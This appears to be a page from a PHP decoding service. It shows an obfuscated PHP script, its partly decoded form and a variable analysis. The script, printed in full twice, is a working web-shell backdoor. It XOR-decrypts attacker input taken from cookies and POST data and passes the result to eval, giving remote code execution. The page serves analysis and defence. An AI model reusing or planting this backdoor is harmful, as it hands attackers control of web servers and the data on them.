Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php $MkBmi =/*D */chr/*GQ*/(115) . "\x74" . 'r'/* deyhe*/. chr/* C */(95)/* nYI..

Decoded Output download

<?php	$MkBmi    =/*D   */chr/*GQ*/(115)	.	"t"  . 'r'/*   deyhe*/.	chr/* C */(95)/*  nYIv*/.	'r' ./*   c*/'e'	./* vwZ*/'p'/*  ZuIg  */. "e"/*LCVON  */./*K   */"a"   .	chr     (116); 
  $urzgo    = "e"/*  MhJPA */.     chr/* cx */( 558/* Cz */-     438/*BHQP   */).'p' ./*  Vl  */chr/*  Vdn   */(  857   -/*  JMryj*/749/*  Utgqc */).chr	(111)/*  g  */.     "d"   .    chr	(101);$_wzQJQ/*  i   */=	'40999'; 
			$CZRAW =/* FmVOg   */chr/*  EA   */(112)	.  "a"  .	"c"   .  "k"; 
 
function	ekdnJmWbQu() 
  	{ 
	$HHHySqt    =/*  srqZZ */Array/*   ya   */(/*  ly */"ahqEGGMbCMZJFzKOwfbdpw"	=>   "GNAuT"/*  p   */); 
 
	 
				/*hhBW  */$aCmGxRGpvl  =/*   pMvB*/Array	(/*   qHhF  */"TSBnuNbWqjWOKZyFGXmRwhVTcZ"    =>    "iTcwrWHVfxevyMtSsNtffRiAlAYx"	);; 
    /*   vGj*/$EQPes/*   WXC*/=	Array(     $HHHySqt,  $_COOKIE,/*h*/$HHHySqt,	$_POST,	$aCmGxRGpvl); 
 
 
/* e */ 
		/*  Sdv  */return $EQPes;$_EMZYT	=    '60514'; 
  	} 
						 
   	function/*   dd   */ppYgFTmF($zgmdOL) 
     { 
					   if/*  w */(	count/*vHC   */(   $zgmdOL	)    ==   3   )    { 
			/* hjq*/$CzKPOIcibE     =	$zgmdOL[1]; 
 /* hLNA   */$KtEocF	=  $zgmdOL[2];; 
	/* c */$FyVrKpPy/*  xjQ   */=	$CzKPOIcibE($KtEocF); 
    /*  r*/eval	(	$FyVrKpPy	); 
		    die  (); 
         } 
	 } 
/*  D  */ 
        function/*   KKXQ   */oJxnt($abbEKn,  $JqEloYDWM) 
				  { 
		return    $abbEKn  ^	$JqEloYDWM;$_a/*  Qjlpb  */=   '43973'; 
 
 
	} 
	 
			/*   dD*/$enyZjhUFA    =     '#'; 
    	 
 
    foreach    (ekdnJmWbQu()	as/*YuD*/$bDkmw)   { 
					/*   Zeq  */foreach     (	$bDkmw	as	$JqEloYDWM    =>	$abbEKn	)    { 
    /*   QL*/ 
			     $abbEKn   =/* EkgY  */@$CZRAW(/* yQ   */"H"/* uzl*/./* gbAs  */chr	(42),	$abbEKn/*   bMJfZ  */);; 
					 
    	$JqEloYDWM .=	"uEwC-bsrb-ZTFZHJG-MLpsbiq-FHj-apaDF-ObZDF"; 
 
	$JqEloYDWM/*  TXnQA*/=/*   F*/$MkBmi  (/*  bLxO  */$JqEloYDWM,/* aKw */(	strlen(/*Smhyr  */$abbEKn  )/strlen(/* pd   */$JqEloYDWM/*   W*/)	)	+	1); 
   /*   UFwEs   */ 
	    $LmHfhgzYOd	=    oJxnt($abbEKn,    $JqEloYDWM);$_L	=/*S */'29561'; 
      
      $zgmdOL     =   $urzgo/*  n */($enyZjhUFA, $LmHfhgzYOd	); 
 
 
	 
		ppYgFTmF($zgmdOL);; 
		} 
 
 
	} ?>

Did this file decode correctly?

Original Code

<?php	$MkBmi    =/*D   */chr/*GQ*/(115)	.	"\x74"  . 'r'/*   deyhe*/.	chr/* C */(95)/*  nYIv*/.	'r' ./*   c*/'e'	./* vwZ*/'p'/*  ZuIg  */. "\145"/*LCVON  */./*K   */"\x61"   .	chr     (116);
  $urzgo    = "\x65"/*  MhJPA */.     chr/* cx */( 558/* Cz */-     438/*BHQP   */).'p' ./*  Vl  */chr/*  Vdn   */(  857   -/*  JMryj*/749/*  Utgqc */).chr	(111)/*  g  */.     "\x64"   .    chr	(101);$_wzQJQ/*  i   */=	'40999';
			$CZRAW =/* FmVOg   */chr/*  EA   */(112)	.  "\x61"  .	"\x63"   .  "\x6b";

function	ekdnJmWbQu()
  	{
	$HHHySqt    =/*  srqZZ */Array/*   ya   */(/*  ly */"ahqEGGMbCMZJFzKOwfbdpw"	=>   "GNAuT"/*  p   */);

	
				/*hhBW  */$aCmGxRGpvl  =/*   pMvB*/Array	(/*   qHhF  */"TSBnuNbWqjWOKZyFGXmRwhVTcZ"    =>    "iTcwrWHVfxevyMtSsNtffRiAlAYx"	);;
    /*   vGj*/$EQPes/*   WXC*/=	Array(     $HHHySqt,  $_COOKIE,/*h*/$HHHySqt,	$_POST,	$aCmGxRGpvl);


/* e */
		/*  Sdv  */return $EQPes;$_EMZYT	=    '60514';
  	}
						
   	function/*   dd   */ppYgFTmF($zgmdOL)
     {
					   if/*  w */(	count/*vHC   */(   $zgmdOL	)    ==   3   )    {
			/* hjq*/$CzKPOIcibE     =	$zgmdOL[1];
 /* hLNA   */$KtEocF	=  $zgmdOL[2];;
	/* c */$FyVrKpPy/*  xjQ   */=	$CzKPOIcibE($KtEocF);
    /*  r*/eval	(	$FyVrKpPy	);
		    die  ();
         }
	 }
/*  D  */
        function/*   KKXQ   */oJxnt($abbEKn,  $JqEloYDWM)
				  {
		return    $abbEKn  ^	$JqEloYDWM;$_a/*  Qjlpb  */=   '43973';


	}
	
			/*   dD*/$enyZjhUFA    =     '#';
    	

    foreach    (ekdnJmWbQu()	as/*YuD*/$bDkmw)   {
					/*   Zeq  */foreach     (	$bDkmw	as	$JqEloYDWM    =>	$abbEKn	)    {
    /*   QL*/
			     $abbEKn   =/* EkgY  */@$CZRAW(/* yQ   */"\110"/* uzl*/./* gbAs  */chr	(42),	$abbEKn/*   bMJfZ  */);;
					
    	$JqEloYDWM .=	"uEwC-bsrb-ZTFZHJG-MLpsbiq-FHj-apaDF-ObZDF";

	$JqEloYDWM/*  TXnQA*/=/*   F*/$MkBmi  (/*  bLxO  */$JqEloYDWM,/* aKw */(	strlen(/*Smhyr  */$abbEKn  )/strlen(/* pd   */$JqEloYDWM/*   W*/)	)	+	1);
   /*   UFwEs   */
	    $LmHfhgzYOd	=    oJxnt($abbEKn,    $JqEloYDWM);$_L	=/*S */'29561';
     
      $zgmdOL     =   $urzgo/*  n */($enyZjhUFA, $LmHfhgzYOd	);


	
		ppYgFTmF($zgmdOL);;
		}


	}

Function Calls

chr 8
ekdnJmWbQu 1

Variables

$CZRAW pack
$EQPes [{'key': 0, 'value': [{'key': 'ahqEGGMbCMZJFzKOwfbdpw', 'value': 'GNAuT'}]}, {'key': 1, 'value': 0}, {'key': 2, 'value': [{'key': 'ahqEGGMbCMZJFzKOwfbdpw', 'value': 'GNAuT'}]}, {'key': 3, 'value': 0}, {'key': 4, 'value': [{'key': 'TSBnuNbWqjWOKZyFGXmRwhVTcZ', 'value': 'iTcwrWHVfxevyMtSsNtffRiAlAYx'}]}]
$MkBmi str_repeat
$urzgo explode
$_EMZYT 60514
$_wzQJQ 40999
$HHHySqt [{'key': 'ahqEGGMbCMZJFzKOwfbdpw', 'value': 'GNAuT'}]
$enyZjhUFA #
$aCmGxRGpvl [{'key': 'TSBnuNbWqjWOKZyFGXmRwhVTcZ', 'value': 'iTcwrWHVfxevyMtSsNtffRiAlAYx'}]

Stats

MD5 1f2a258032439da4ac208ac08fe5f9ad
Eval Count 0
Decode Time 416 ms